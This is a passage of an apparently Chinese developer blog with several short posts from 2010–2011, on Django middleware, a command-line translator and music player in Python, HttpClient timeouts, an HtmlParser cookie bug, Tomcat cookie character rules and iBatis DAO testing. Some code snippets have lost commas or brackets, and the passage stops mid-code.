代理服务器通过hosts绑定.hosts是全局性的,意味着一台代理服务器只能服务一组需求.而事实上,我们不同的项目需要的绑定都是不一样的.

2.       特性化需求不能满足

绑定全在代理服务器上做了,客户端本地个性化需求无法支持

 

所以,我理想中整体架构是这样的,见图:


1.       优先查看本地hosts文件

2.       代理服务器支持多实例部署,不同实例有不同的hosts绑定配置.

 

目前具体实现方案,还在构思中.欢迎大家提供实现方案思路.

 

附录I

Squid权威指南(中文版): http://home.arcor.de/pangj/squid/chap01.html

附录II

Pac介绍:               http://en.wikipedia.org/wiki/Proxy_auto-config

Pac函数介绍:        http://findproxyforurl.com/pac_functions_explained.html

 

posted @ 2011-05-23 19:41 stone2083 阅读(2414) | 评论 (1)编辑 收藏

django框架的几个扩展点

前段时间替朋友做了一个物业管理系统,使用了python+django技术,对django有了一些了解。
作为一个一直来使用java的人来说,初次使用django,真正体会到了简单美学。(一共13个功能,不到500行代码)
此文,主要总结下django框架的一些扩展点:
MIDDLEWARE_CLASSES
在request请求之前,或者response请求之后,做拦截,允许自定义逻辑。有些类似J2EE Servlet中的Filter概念。
TEMPLATE_CONTEXT_PROCESSORS
进入模板渲染之前,允许放入一组用于模板渲染的Key-Value属性。
TEMPLATE FILTER
模板中的管道语法,通过自定义行为,添加用于显示的一些逻辑。
TEMPLATE TAG
模板tag,添加一组行为。有些类似Velocity中的ToolSet功能。
模板tag+指定模板,充当页面组件(widgets)功能

middleware演示
 1 from django.db import connection
 2 from django.http import HttpResponseRedirect
 3 
 4 #拦截response请求之后,打印请求中的所有sql
 5 class SqlLogMiddleware(object):
 6     def process_response(self, req, res):
 7         for sql in connection.queries:
 8             print sql
 9         return res
10 
11 #拦截request请求之前,做权限校验
12 class Auth(object):
13     def process_request(self, req):
14         if req.path == '/admin/':
15             return
16         if not req.user.is_authenticated():
17             return HttpResponseRedirect('/admin/')
18 
1 MIDDLEWARE_CLASSES = (
2     'django.middleware.common.CommonMiddleware',
3     'django.contrib.sessions.middleware.SessionMiddleware',
4     'django.contrib.auth.middleware.AuthenticationMiddleware',
5     'finance.middleware.SqlLogMiddleware',
6     'finance.middleware.Auth',
7 )


template context processor演示
1 def version(request):
2     return {'name':'Stone.J',
3             'version':'1.0-beata',
4             'date':'2011-03-20'}
1 TEMPLATE_CONTEXT_PROCESSORS = (
2     'django.core.context_processors.request',
3     'django.core.context_processors.auth',
4     'django.core.context_processors.debug',
5     'django.core.context_processors.i18n',
6     'django.core.context_processors.media',
7     'finance.example.context_processors.version',
8 )

template filter演示
 1 def row(value):
 2     if not value:
 3         return 'row1'
 4     if value % 2 == 1:
 5         return 'row1'
 6     else:
 7         return 'row2'
 8     
 9 def math_mul(value, num):
10     return value * num
11 
12 def math_add(value, num):
13     return value + num
14 
15 register = template.Library()    
16 register.filter('row', row)
17 register.filter('math_add', math_add)
18 register.filter('math_mul', math_mul)
1 {% load my_filter %}
2 {% for c in page.object_list %}
3 <tr class="{{ forloop.counter|row }}">
4 <td>{{ c.amount | math_add:c.amount2}}</td>
5 <td>{{ c.amount | math_mul:12}}</td>
6 </tr>
7 {% endfor %}
通过约定的方式,在任意一个app下,建立一个templatetags目录,会自动寻找到。(不过没有命名空间,是一个比较猥琐的事情,容易造成不同app下的冲突)

template tag演示
 1 register = template.Library()
 2 
 3 class AccountNode(template.Node):
 4     def __init__(self, name):
 5         self.name = name
 6         
 7     def render(self, context):
 8         context[self.name] = Account.objects.get()
 9         return ''
10     
11 def get_account(parser, token):
12     try:
13         tag_name, name = token.split_contents()
14     except ValueError:        
15         raise template.TemplateSyntaxError, "%s tag requires argument" % tag_name
16     return AccountNode(name)
17 
18 register.tag('get_account', get_account)

1 {% load my_tag %}
2 {% get_account account %}<!-- 通过tag取到内容赋值给account变量 -->
3 {{ account.amount }}

template tag + template file演示
1 from django import template
2 register = template.Library()
3 
4 def version(context):
5     return {'name':'Stone.J',
6             'version':'1.0-beata',
7             'date':'2011-03-20'}
8 
9 register.inclusion_tag('example/version.html', takes_context=True)(version)
1 <!-- 这份内容可以被当成widget复用 -->
2 <table>
3     <tr>
4         <td>{{ name }}</td>
5         <td>{{ version }}</td>
6         <td>{{ data }}</td>
7     </tr>
8 </table>
9 
tag寻找模式等同于filter。

posted @ 2011-04-20 22:54 stone2083 阅读(2648) | 评论 (0)编辑 收藏

命令行下翻译工具

接上文,继续show下我命令行下的工具--翻译脚本
(利用了google 翻译 json api:http://translate.google.cn/translate_a/t?client=t&text=%s&hl=zh-CN&sl=%s&tl=%s

特性:
1. 自动识别中翻英/英翻中
2. 翻译

涉及技术:
1. python
2. urllib
3. json
4. re

截图:


对应代码:
 1 '''
 2 Created on 2010-11-28
 3 
 4 @author: stone
 5 '''
 6 import json
 7 import re
 8 import sys
 9 import urllib2
10 import types
11 
12 res = 'http://translate.google.cn/translate_a/t?client=t&text=%s&hl=zh-CN&sl=%s&tl=%s'
13 agent = 'Mozilla / 5.0 (X11; U; Linux i686; en - US) AppleWebKit / 534.7 (KHTML, like Gecko) Chrome / 7.0.517.44 Safari / 534.7'
14 
15 def get_data(text, sl='en', tl='zh-CN'):
16     req = urllib2.Request(res % (urllib2.quote(text), sl, tl))
17     req.add_header('user-agent', agent)
18     content = urllib2.urlopen(req).read()
19     return json.loads(to_standard_json(content))
20 
21 def show(data):
22     #step1
23     print u'翻译:\n  %s' % (data[4][0][0])
24     #step2
25     if types.ListType == type(data[1]):
26         print u'\n字典:'
27         for word in data[1]:
28             print word[0]
29             if len(word) > 1:
30                 for i, w in enumerate(word[1]):
31                     print '  %s.%s' % (i + 1, w) 
32 
33 def to_standard_json(json):
34     p = re.compile(r',([,\]])')
35     while(p.search(json)):
36         json = p.sub(lambda m:',null%s' % (m.group(1)), json)
37     return json
38 
39 def contains_cn(text):
40     for c in text:
41         if ord(c) > 127:
42             return True
43     return False
44 
45 if __name__ == '__main__':
46     if not len(sys.argv) == 2 or not sys.argv[1].strip():
47         print 'Useage:translate.py word'
48         sys.exit()
49     word = sys.argv[1].strip()
50     if contains_cn(word):
51         show(get_data(word, 'zh-CN''en'))
52     else:
53         show(get_data(word, 'en''zh-CN'))


posted @ 2011-04-17 19:49 stone2083 阅读(2574) | 评论 (3)编辑 收藏

Linux下基于命令行的音乐播放器

按照同事的话说,我是一个十足的命令控。
利用最近项目通宵发布的空闲时间中,写了一个命令行下的音乐播放器,以满足我在linux命令下的需求。

播放器利用技术:
Python+GST(http://gstreamer.freedesktop.org/modules/gst-python.html)+Console解析

播放器自持操作:
1. 播放
2. 下一首
3. 上一首
4. 暂停
5. 查看播放列表信息
6. 查看当前播放信息
7. 停止(退出)

看一张截图:


通过分析meliae dump出来的内存信息,差不做占用2.5M内存,算的上比较小巧了。

对应代码:(需要安装py-gst,ubuntu下:sudo apt-get install python-gst0.10)
  1 #!/usr/bin/env python
  2 
  3 import gst
  4 import gobject
  5 import sys
  6 #to avoid eclipse'warning
  7 eval('gobject.threads_init()'
  8 from threading import Thread
  9 
 10 class AudioPlayer:
 11     
 12     EVENT_PLAY_NEW = 1
 13     
 14     def __init__(self, advisor):
 15         self.main = gobject.MainLoop()
 16         self.player = gst.element_factory_make('playbin''player')
 17         self.index = -1
 18         self.list = None
 19         self.advisor = advisor
 20         
 21         bus = self.player.get_bus()
 22         bus.add_signal_watch()
 23         bus.connect('message', self.on_message)
 24         
 25         Thread(target=self.main.run).start()
 26        
 27     def add_list(self , list=[]):
 28         if list is None:
 29             list = []
 30         self.list = [(i, l.strip(), l[l.rfind('/'+ 1:]) for (i, l) in enumerate(list)]
 31         
 32     def play(self, index=None):
 33         #play specified tracks
 34         if 0 <= index < len(self.list):
 35             self.index = index
 36             self.player.set_state(gst.STATE_NULL)
 37             self.player.set_property('uri', self.list[index][1])
 38             self.player.set_state(gst.STATE_PLAYING)
 39             if self.advisor:
 40                 self.advisor.on_message(AudioPlayer.EVENT_PLAY_NEW, (self.index, self.get_title()))
 41         #resume playing
 42         if index is None:
 43             if self.index > -1:
 44                 self.player.set_state(gst.STATE_PLAYING)
 45     
 46     def pause(self):
 47         self.player.set_state(gst.STATE_PAUSED)
 48         
 49     def stop(self):
 50         self.player.set_state(gst.STATE_NULL)
 51         self.main.quit()
 52     
 53     def get_title(self):
 54         if self.index == -1 or len(self.list) == 0:
 55             return None
 56         return self.list[self.index][2
 57     
 58     def get_previous(self):
 59         if self.index == -1 or len(self.list) == 0:
 60             return - 1
 61         if self.index == 0:
 62             return 0
 63         return self.index - 1
 64     
 65     def get_next(self):
 66         if  len(self.list) == 0:
 67             return - 1
 68         if self.index + 1 == len(self.list):
 69             return 0
 70         return self.index + 1
 71     
 72     def on_message(self, bus, message):
 73         t = message.type
 74         if t == gst.MESSAGE_ERROR:
 75             self.play(self.get_next())
 76         elif t == gst.MESSAGE_EOS:
 77             self.play(self.get_next())
 78 
 79 class Console:
 80     
 81     def __init__(self, list):
 82         self.player = AudioPlayer(self)
 83         self.player.add_list(list)
 84         self.player.play(0)
 85 
 86         Thread(target=self.run).start()
 87         
 88     def run(self):
 89         while(True):
 90             self.on_cmd(raw_input())
 91     
 92     def on_cmd(self, cmd):
 93         if cmd is None:
 94             return
 95         if cmd.startswith('play'):
 96             self.player.play()
 97         elif cmd.startswith('next'):
 98             self.player.play(self.player.get_next())
 99         elif cmd.startswith('previous'):
100             self.player.play(self.player.get_previous())
101         elif cmd.startswith('pause'):
102             self.player.pause()
103         elif cmd.startswith('list'):
104             print '====================================='
105             for info in self.player.list:
106                 print '%s. %s' % (info[0], info[2])
107             print '====================================='
108         elif cmd.startswith('info'):
109             print '====================================='
110             print '%s. %s' % (self.player.index, self.player.get_title())
111             print '====================================='
112         elif cmd.startswith('stop'):
113             self.player.stop()
114             sys.exit(0)
115         elif cmd.startswith('dump'):
116             from meliae import scanner
117             scanner.dump_all_objects('./dump.txt')
118         else:
119             print '''=====================================
120 Usage:
121 play
122 next
123 previous
124 pause
125 list
126 info
127 stop
128 dump
129 ====================================='''
130     
131     def on_message(self, event, info):
132         if event == AudioPlayer.EVENT_PLAY_NEW:
133             print '====================================='
134             print 'Tracks: %s.%s' % (info[0], info[1])
135             print '====================================='
136 
137 
138 if len(sys.argv) != 2:
139     print 'player.py mp3.list'
140     sys.exit(-1)
141 list = [l.strip() for l in open(sys.argv[1]).readlines() if l.strip() != '']
142 Console(list)

下载

posted @ 2011-04-17 19:32 stone2083 阅读(4385) | 评论 (4)编辑 收藏

推荐:Eclipse全屏插件

推荐一个eclipse插件--全屏插件(显示器整个屏幕)。
发觉这个东东还是挺不错的,尤其对于本本的同学,特别实用。
在我自己的本本上,发现一旦使用全屏,能多显示8行代码,多了21%左右,挺可观的。

插件地址:http://code.google.com/p/eclipse-fullscreen/

给个图:


posted @ 2011-04-09 21:12 stone2083 阅读(3428) | 评论 (5)编辑 收藏

HttpClient使用过程中的安全隐患

HttpClient使用过程中的安全隐患,这个有些标题党。因为这本身不是HttpClient的问题,而是使用者的问题。

安全隐患场景说明:
一旦请求大数据资源,则HttpClient线程会被长时间占有。即便调用了org.apache.commons.httpclient.HttpMethod#releaseConnection()方法,也无济于事。
如果请求的资源是应用可控的,那么不存在任何问题。可是恰恰我们应用的使用场景是,请求资源由用户自行输入,于是乎,我们不得不重视这个问题。

我们跟踪releaseConnection代码发现:
org.apache.commons.httpclient.HttpMethodBase#releaseConnection()
 1 public void releaseConnection() {
 2     try {
 3         if (this.responseStream != null) {
 4             try {
 5                 // FYI - this may indirectly invoke responseBodyConsumed.
 6                 this.responseStream.close();
 7             } catch (IOException ignore) {
 8             }
 9         }
10     } finally {
11         ensureConnectionRelease();
12     }
13 }
org.apache.commons.httpclient.ChunkedInputStream#close()
 1 public void close() throws IOException {
 2     if (!closed) {
 3         try {
 4             if (!eof) {
 5                 exhaustInputStream(this);
 6             }
 7         } finally {
 8             eof = true;
 9             closed = true;
10         }
11     }
12 }
org.apache.commons.httpclient.ChunkedInputStream#exhaustInputStream(InputStream inStream)
1 static void exhaustInputStream(InputStream inStream) throws IOException {
2     // read and discard the remainder of the message
3     byte buffer[] = new byte[1024];
4     while (inStream.read(buffer) >= 0) {
5         ;
6     }
7 }
看到了吧,所谓的丢弃response,其实是读完了一次请求的response,只是不做任何处理罢了。

想想也是,HttpClient的设计理念是重复使用HttpConnection,岂能轻易被强制close呢。

怎么办?有朋友说,不是有time out设置嘛,设置下就可以下。
我先来解释下Httpclient中两个time out的概念:
1.public static final String CONNECTION_TIMEOUT = "http.connection.timeout";
即创建socket连接的超时时间:java.net.Socket#connect(SocketAddress endpoint, int timeout)中的timeout

2.public static final String SO_TIMEOUT = "http.socket.timeout";
即read data过程中,等待数据的timeout:java.net.Socket#setSoTimeout(int timeout)中的timeout

而在我上面场景中,这两个timeout都不满足,确实是由于资源过大,而占用了大量的请求时间。

问题总是要解决的,解决思路如下:
1.利用DelayQueue,管理所有请求
2.利用一个异步线程监控,关闭超长时间的请求

演示代码如下:
  1 public class Misc2 {
  2 
  3     private static final DelayQueue<Timeout> TIMEOUT_QUEUE = new DelayQueue<Timeout>();
  4 
  5     public static void main(String[] args) throws Exception {
  6         new Monitor().start(); // 超时监控线程
  7 
  8         new Request(4).start();// 模拟第一个下载
  9         new Request(3).start();// 模拟第二个下载
 10         new Request(2).start();// 模拟第三个下载
 11     }
 12 
 13     /**
 14      * 模拟一次HttpClient请求
 15      * 
 16      * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> 2011-4-9
 17      */
 18     public static class Request extends Thread {
 19 
 20         private long delay;
 21 
 22         public Request(long delay){
 23             this.delay = delay;
 24         }
 25 
 26         public void run() {
 27             HttpClient hc = new HttpClient();
 28             GetMethod req = new GetMethod("http://www.python.org/ftp/python/2.7.1/Python-2.7.1.tgz");
 29             try {
 30                 TIMEOUT_QUEUE.offer(new Timeout(delay * 1000, hc.getHttpConnectionManager()));
 31                 hc.executeMethod(req);
 32             } catch (Exception e) {
 33                 System.out.println(e);
 34             }
 35             req.releaseConnection();
 36         }
 37 
 38     }
 39 
 40     /**
 41      * 监工:监控线程,通过DelayQueue,阻塞得到最近超时的对象,强制关闭
 42      * 
 43      * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> 2011-4-9
 44      */
 45     public static class Monitor extends Thread {
 46 
 47         @Override
 48         public void run() {
 49             while (true) {
 50                 try {
 51                     Timeout timeout = TIMEOUT_QUEUE.take();
 52                     timeout.forceClose();
 53                 } catch (InterruptedException e) {
 54                     System.out.println(e);
 55                 }
 56             }
 57         }
 58 
 59     }
 60 
 61     /**
 62      * 使用delay queue,对Delayed接口的实现 根据请求当前时间+该请求允许timeout时间,和当前时间比较,判断是否已经超时
 63      * 
 64      * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> 2011-4-9
 65      */
 66     public static class Timeout implements Delayed {
 67 
 68         private long                  debut;
 69         private long                  delay;
 70         private HttpConnectionManager manager;
 71 
 72         public Timeout(long delay, HttpConnectionManager manager){
 73             this.debut = System.currentTimeMillis();
 74             this.delay = delay;
 75             this.manager = manager;
 76         }
 77 
 78         public void forceClose() {
 79             System.out.println(this.debut + ":" + this.delay);
 80             if (manager instanceof SimpleHttpConnectionManager) {
 81                 ((SimpleHttpConnectionManager) manager).shutdown();
 82             }
 83             if (manager instanceof MultiThreadedHttpConnectionManager) {
 84                 ((MultiThreadedHttpConnectionManager) manager).shutdown();
 85             }
 86         }
 87 
 88         @Override
 89         public int compareTo(Delayed o) {
 90             if (o instanceof Timeout) {
 91                 Timeout timeout = (Timeout) o;
 92                 if (this.debut + this.delay == timeout.debut + timeout.delay) {
 93                     return 0;
 94                 } else if (this.debut + this.delay > timeout.debut + timeout.delay) {
 95                     return 1;
 96                 } else {
 97                     return -1;
 98                 }
 99             }
100             return 0;
101         }
102 
103         @Override
104         public long getDelay(TimeUnit unit) {
105             return debut + delay - System.currentTimeMillis();
106         }
107 
108     }
109 
110 }


本来还想详细讲下DelayQueue,但是发现同事已经有比较纤细的描述,就加个链接吧 (人懒,没办法)
http://agapple.iteye.com/blog/916837
http://agapple.iteye.com/blog/947133

备注:
HttpClient3.1中,SimpleHttpConnectionManager才有shutdown方法,3.0.1中还存在 :)

posted @ 2011-04-09 20:46 stone2083 阅读(4849) | 评论 (0)编辑 收藏

HtmlParser疑似Bug

最近的项目中,使用到了HtmlParser(1.5版本).在使用过程中(如访问url为:http://athena2002.vip.china.alibaba.com/ ),遇到了异常:
Exception in thread "main" java.lang.IllegalArgumentException: invalid cookie name: Discard
    at org.htmlparser.http.Cookie.
<init>(Cookie.java:136)
    at org.htmlparser.http.ConnectionManager.parseCookies(ConnectionManager.java:
1126)
    at org.htmlparser.http.ConnectionManager.openConnection(ConnectionManager.java:
621)
    at org.htmlparser.http.ConnectionManager.openConnection(ConnectionManager.java:
792)
    at org.htmlparser.Parser.
<init>(Parser.java:251)
    at org.htmlparser.Parser.
<init>(Parser.java:261)
检查代码,发现:
org.htmlparser.http.Cookie
 1 public Cookie (String name, String value)
 2     {
 3         if (!isToken (name) || name.equalsIgnoreCase ("Comment"// rfc2019
 4                 || name.equalsIgnoreCase ("Discard"// 2019++
 5                 || name.equalsIgnoreCase ("Domain")
 6                 || name.equalsIgnoreCase ("Expires"// (old cookies)
 7                 || name.equalsIgnoreCase ("Max-Age"// rfc2019
 8                 || name.equalsIgnoreCase ("Path")
 9                 || name.equalsIgnoreCase ("Secure")
10                 || name.equalsIgnoreCase ("Version"))
11             throw new IllegalArgumentException ("invalid cookie name: " + name);
12         mName = name;
13         mValue = value;
14         mComment = null;
15         mDomain = null;
16         mExpiry = null// not persisted
17         mPath = "/";
18         mSecure = false;
19         mVersion = 0;
20     }
一旦发现name值为“Discard”,则抛异常。

而在org.htmlparser.http.ConnectionManager.parseCookies (URLConnection connection) 解析cookie的代码中,见代码片段
if (key.equals ("domain"))
                            cookie.setDomain (value);
                        
else
                            
if (key.equals ("path"))
                                cookie.setPath (value);
                            
else
                                
if (key.equals ("secure"))
                                    cookie.setSecure (
true);
                                
else
                                    
if (key.equals ("comment"))
                                        cookie.setComment (value);
                                    
else
                                        
if (key.equals ("version"))
                                            cookie.setVersion (Integer.parseInt (value));
                                        
else
                                            
if (key.equals ("max-age"))
                                            {
                                                Date date 
= new Date ();
                                                
long then = date.getTime () + Integer.parseInt (value) * 1000;
                                                date.setTime (then);
                                                cookie.setExpiryDate (date);
                                            }
                                            
else
                                            {   
// error,? unknown attribute,
                                                
// maybe just another cookie not separated by a comma
                                                cookie = new Cookie (name, value); //出问题的地方
                                                cookies.addElement (cookie);
                                            }
没有对Discard做特殊处理。
无奈之下,覆写了此方法,加上对Discard的处理--直接continue :)

今天在写blog的时候,拿了1.6的代码测试,发现没有问题,分析代码后发现
1. ConnectionManager parserCookie之前,加了条件判断
if (getCookieProcessingEnabled ())
  parseCookies (ret);
默认情况下,条件为false
2. parserCookie的时候,catch了异常
 1 // error,? unknown attribute,
 2 // maybe just another cookie
 3 // not separated by a comma
 4 try
 5 {
 6     cookie = new Cookie (name,
 7         value);
 8     cookies.addElement (cookie);
 9 }
10 catch (IllegalArgumentException iae)
11 {
12     // should print a warning
13     // for now just bail
14     break;
15 }
虽然解决了问题,但是明显还没有意识到Discard的问题。

从我的理解看,最合理的解决方案是:
1. org.htmlparser.http.Cookie中添加 boolean discard方法
2. org.htmlparser.http.ConnectionManager parserCookies()方法,对Discard做处理,如有值,则设置cookie.discard=true

关于discard的解释,见http://www.faqs.org/rfcs/rfc2965.html
Discard
OPTIONAL. The Discard attribute instructs the user agent to
discard the cookie unconditionally when the user agent terminates

posted @ 2011-04-08 20:50 stone2083 阅读(1956) | 评论 (2)编辑 收藏

语言杂谈(shell/python/java)

背景:
公司产品一直使用Java作为开发语言,平时常用Shell脚本进行文本的处理,最近自学了Python.
感觉这3门语言挺具代表性,故对其分析了自己对它们的理解。
由于是部门分享,考虑避免重复劳动力,就把PPT转成图片放上来。

内容:















结束语:
一家之言,属于个人观点

备注:
ubuntu下convert命令挺强悍的,支持PDF和图片的互转

附上PDF文档:
分享文档



posted @ 2010-11-08 17:24 stone2083 阅读(2223) | 评论 (2)编辑 收藏

关于cookie特殊字符的一点理解

背景:
加密的cookie信息中带有特殊字符(“=”),导致读cookie的时候,特殊符号丢失,解密失败

看了同事“关于cookie特殊字符”的说明邮件,和网上对cookie特殊字符问题的解释:

我们在实际使用Cookie过程中要注意一些问题:

  1. Cookie的兼容性问题

  Cookie的格式有2个不同的版本,第一个版本,我们称为Cookie Version 0,是最初由Netscape公司制定的,也被几乎所有的浏览器支持。而较新的版本,Cookie Version 1,则是根据RFC 2109文档制定的。为了确保兼容性,JAVA规定,前面所提到的涉及Cookie的操作都是针对旧版本的Cookie进行的。而新版本的Cookie目前还不被Javax.servlet.http.Cookie包所支持。

  2. Cookie的内容

  同样的Cookie的内容的字符限制针对不同的Cookie版本也有不同。在Cookie Version 0中,某些特殊的字符,例如:空格,方括号,圆括号,等于号(=),逗号,双引号,斜杠,问号,@符号,冒号,分号都不能作为Cookie的内容。这也就是为什么我们在例子中设定Cookie的内容为“Test_Content”的原因。

  虽然在Cookie Version 1规定中放宽了限制,可以使用这些字符,但是考虑到新版本的Cookie规范目前仍然没有为所有的浏览器所支持,因而为保险起见,我们应该在Cookie的内容中尽量避免使用这些字符。

摘自:http://swingchen.bokee.com/6200015.html
类似这样的解释,搜索出来的结果,挺多。

但是,我去看了RFC2109(http://www.faqs.org/rfcs/rfc2109.html),其说明如下:

value中的token,是有一组非特殊字符,非空白字符。而它是在RFC 2068(http://www.faqs.org/rfcs/rfc2068.html)中制定的 (是对Header的规范),请看:


也就是说,所谓的Cookie1,同样有特殊字符的限制。
同样,在Cookie2(RFC2965)中,也如此。

想想也是啊,如果没有特殊字符的限制,解析Header的时候,还不乱套了?

看了RFC之后,我们再来看看Tomcat中的实现(6.0.29版本),请看:
org.apache.tomcat.util.http.Cookies

1.类注释:
A collection of cookies - reusable and tuned for server side performance.
Based on RFC2965 ( and 2109 )
是基于RFC2965/RFC2109规范来实现的

2.特殊字符的定义
/*
    List of Separator Characters (see isSeparator())
    Excluding the '/' char violates the RFC, but 
    it looks like a lot of people put '/'
    in unquoted values: '/': ; //47 
    '\t':9 ' ':32 '\"':34 '(':40 ')':41 ',':44 ':':58 ';':59 '<':60 
    '=':61 '>':62 '?':63 '@':64 '[':91 '\\':92 ']':93 '{':123 '}':125
    
*/
    
public static final char SEPARATORS[] = { '\t'' ''\"''('')'','
        
':'';''<''=''>''?''@''[''\\'']''{''}' };
根据规范,定义了特殊字符。除了“/”这个符号。因为大多数人会直接使用“/”。

3.针对“=”特殊处理
/**
 * If true, cookie values are allowed to contain an equals character without
 * being quoted.
 
*/
public static final boolean ALLOW_EQUALS_IN_VALUE;

static {
    ALLOW_EQUALS_IN_VALUE 
= Boolean.valueOf(System.getProperty(
            
"org.apache.tomcat.util.http.ServerCookie.ALLOW_EQUALS_IN_VALUE",
            
"false")).booleanValue();
}
可以在catalina.properties中,添加这个配置项 (或者启动过程中加上-D参数),使得cookie value中允许存在“=”符号。
所以本文开头提到的问题,可以使用这个方法得到解决

4.解析过程
/**
 * Parses a cookie header after the initial "Cookie:"
 * [WS][$]token[WS]=[WS](token|QV)[;|,]
 * RFC 2965
 * JVK
 
*/
public final void processCookieHeader(byte bytes[], int off, int len){
    
//详细代码,省略
}


备注:
RFC没有仔细看(时间有限,并且看E文挺累的),如理解有误,请告知。


posted @ 2010-11-03 13:27 stone2083 阅读(7292) | 评论 (1)编辑 收藏

爬取交通违章信息的脚本

     摘要: 会开车了,也慢慢不规矩起来了,于是乎,违章信息也慢慢多起来了,但是无法第一时间通知到自己。 虽说,有个网站:http://www.hzti.com/service/qry/violation_veh.aspx?pgid=&type=1&node=249 可以查询非现场违章情况, 不过: 1.我是懒人,主动去查询的时候不太乐意做 2.车辆识别码,永远记不住 3.每次输验证...  阅读全文

posted @ 2010-10-29 18:30 stone2083 阅读(3211) | 评论 (8)编辑 收藏

关于java多线程的几个小贴士

原文地址:
http://weblogs.java.net/blog/caroljmcdonald/archive/2009/09/17/some-java-concurrency-tips

大纲:

Prefer immutable objects/data
尽可能使用不变对象/数据

Threading risks for Web applications
注意web应用的线程安全问题

Hold Locks for as short a time as possible
持有锁的时间尽可能短

Prefer executors and tasks to threads
尽可能使用JDK并发工具包提供的Executor框架,进行多线程操作

Prefer Concurrency utilities to wait and notify
尽可能使用JDK并发工具包提供的工具进行同步(等待和通知)

  • Concurrent Collections
    • ConcurrentMap
    • ConcurrentHashMap
    • COncurrentLinkedQueue
    • CopyOnWriteArrayList
  • BlockingQueue Implementations
    • ArrayBlockingQueue
    • LinkedBlockingQueue
    • PriorityBlockingQueue

Producer Consumer Pattern
了解生产者消费者模式

Synchronizers
同步器

  • Semaphore
  • CountDownLatch
  • CyclicBarrier
  • Exchanger

Multithreaded Lazy Initialization is tricky
多线程环境下,lazy init是一件棘手的事情

Prefer Normal initialization
尽可能使用正常的初始化(尽可能不要使用lazy init)


posted @ 2010-09-15 17:37 stone2083 阅读(1944) | 评论 (2)编辑 收藏

java反射效率

     摘要: java反射效率到底如何,花了点时间,做了一个简单的测试.供大家参考. 测试背景: 1. 测试简单Bean(int,Integer,String)的set方法 2. loop 1亿次 3. 测试代码尽可能避免对象的创建,复发方法的调用,仅仅测试set方法的耗时 测试结果:  场景 &...  阅读全文

posted @ 2010-09-15 14:04 stone2083 阅读(8061) | 评论 (9)编辑 收藏

IBatis下DAO单元测试另类思路

在说另类思路之前,先说下传统的测试方法:
0.准备一个干净的测试数据库环境
  这个是前提
1.测试数据准备
  使用文本,excel,或者wiki等,准备测试sql以及测试数据
  利用dbfit,dbutil等工具将准备的测试数据导入到数据库中
2.执行dao方法
  执行被测试的dao方法
3.测试结果断言
  利用dbfit,dbutil等工具,断言测试结果数据和预计是否一致
4.所有数据回滚

其实,对于这个流程来说,目前的dao测试框架,支持的已经比较完美了
但是此类测试方法,也有明显的缺点(或者不能叫缺点,叫使用比较麻烦的地方)
如下:
1.背上了一个数据库环境.
  不轻量
  这是一个共享环境,谁也无法确保环境数据是否真正的干净
2.测试数据准备是一件麻烦的事情
  新表,10几个字段毫不为奇;老表,50几个字段甚至百来个字段,也偶有可见;无论是使用文本,excel,wiki,准备工作量,都是巨大的.
  准备的数据,部分字段内容可以是无意义的,部分字段内容又是需要符合测试意图(testcase设计目的),部分字段还是其他表的关联字段.从而导致后续维护人员无法了解准备数据意图.
  (实践中,也出现过,一同事在维护他人单元测试时,由于无法了解测试数据准备意图,宁可重新删除,自己准备一份)
3.预计结果数据准备也是一件麻烦的事情
  理由如上

所以,理论上是完美的测试方案,在实践过程中,却是一件麻烦的事情.导致DAO单元测试维护困难.


分析了现状,我们再来分析下,IBatis下DAO,程序员主要做了哪些编码:
1. 写了一份sqlmap.xml配置文件
2. 通过getSqlMapClientTemplate.doSomething($sqlID,$param), 执行语句
(当然,没有使用spring的同学,也是使用了类似sqlMapClient.doSomething($sqlID,$param)方法)

而步骤2其实是框架替我们做了的事情,按照MOCK的思想,其实这部分代码可以被MOCK的,那么我们是否可以做如下假设:
只要sqlmap.xml中配置信息(主要包括resultmap和statement)是正确的,那么执行结果也应该是正确的.

而我所谓的另类思路,就是基于这个假设,得出的:
IBatis下,DAO单元测试,我们抛弃背负的数据库环境,只要根据不同的条件,断言不同的sql即可.

于是乎,封装了一个IbatisSqlTester,可以根据sqlmap中的statement和传入的条件参数,生成sql语句.
那么,DAO单元测试就简单了,脱离下数据库环境:
public class ScoreDAOTest extends TestCase {
 
    @SpringBeanByName
    
private IbatisSqlTester ibatisSqlTester;  //通过spring配置,需要注入sqlmapclient对象
 
    @Test
    
public void testListTpScores() {
        Map
<String, Object> param = new HashMap<String, Object>(1);
        param.put(
"memberIds"new String[] { "stone""stone2083" });
        SqlStatement sql 
= ibatisSqlTester.test("MS-LIST-SCORES", param);
        
// sql全部匹配
        SqlAssert.isEqual("select * from score where member_id in ('stone','stone2083')", sql.toString());
        
// sql包含member_id,athena2002,stone关键词
        SqlAssert.keyWith(sql.toString(), "member_id""stone""stone2083");
        
// sql符合某个 正则
        SqlAssert.regexWith(".* where member_id in .*", sql.toString());
        
        
//其中,SqlAssert也可以换 成want.string()中的方法.
    }
}

优势:
  脱离了数据库环境
  脱离了表结构数据准备
  脱离了预计结果数据准备
  让单元测试变成sql的断言,编写相对更简单
缺点:
 
row mapper过程无法被测试


最后,附上两个核心的代码类(还未完成),供大家参考:
SqlStatement.java
/**
 * <pre>
 * SqlStatement:Sql语句对象.
 * 包含:
 *  1.sql语句,类似  select * from offer where id = ? and member_id = ?
 *  2.参数值,类似 [1,stone2083]
 *  
 *  toString方法,返回执行的sql语句,如:
 *  select * from offer where id = '1' and member_id = 'stone2083'
 * </pre>
 * 
 * 
@author Stone.J 2010-8-9 下午02:55:36
 
*/
public class SqlStatement {

    
//sql
    private String   sql;
    
//sql参数
    private Object[] param;

    
/**
     * <pre>
     * 输出最终执行的sql内容.
     * 将sql和param进行merge,产生最终执行的sql语句
     * </pre>
     
*/
    @Override
    
public String toString() {
        
return merge();
    }

    
/**
     * <pre>
     * 将sql进行格式化.
     * 
     * 目前只是简单进行格式化.去除前后空格,已经重复空格
     * TODO:请使用统一格式化标准规,建议使用SqlFormater类,进行处理
     * </pre>
     * 
     * 
@param sql
     * 
@return
     
*/
    
protected String format(String sql) {
        
if (sql == null) {
            
return null;
        }
        
return sql.toLowerCase().trim().replaceAll("\\s{1,}"" ");
    }

    
/**
     * <pre>
     * 将sql和param进行merge.
     * TODO:请严格按照SQL标准,进行merge sql内容
     * </pre>
     
*/
    
protected String merge() {
        
if (param == null || param.length == 0) {
            
return this.sql;
        }
        String ret 
= sql;
        
for (Object p : param) {
            ret 
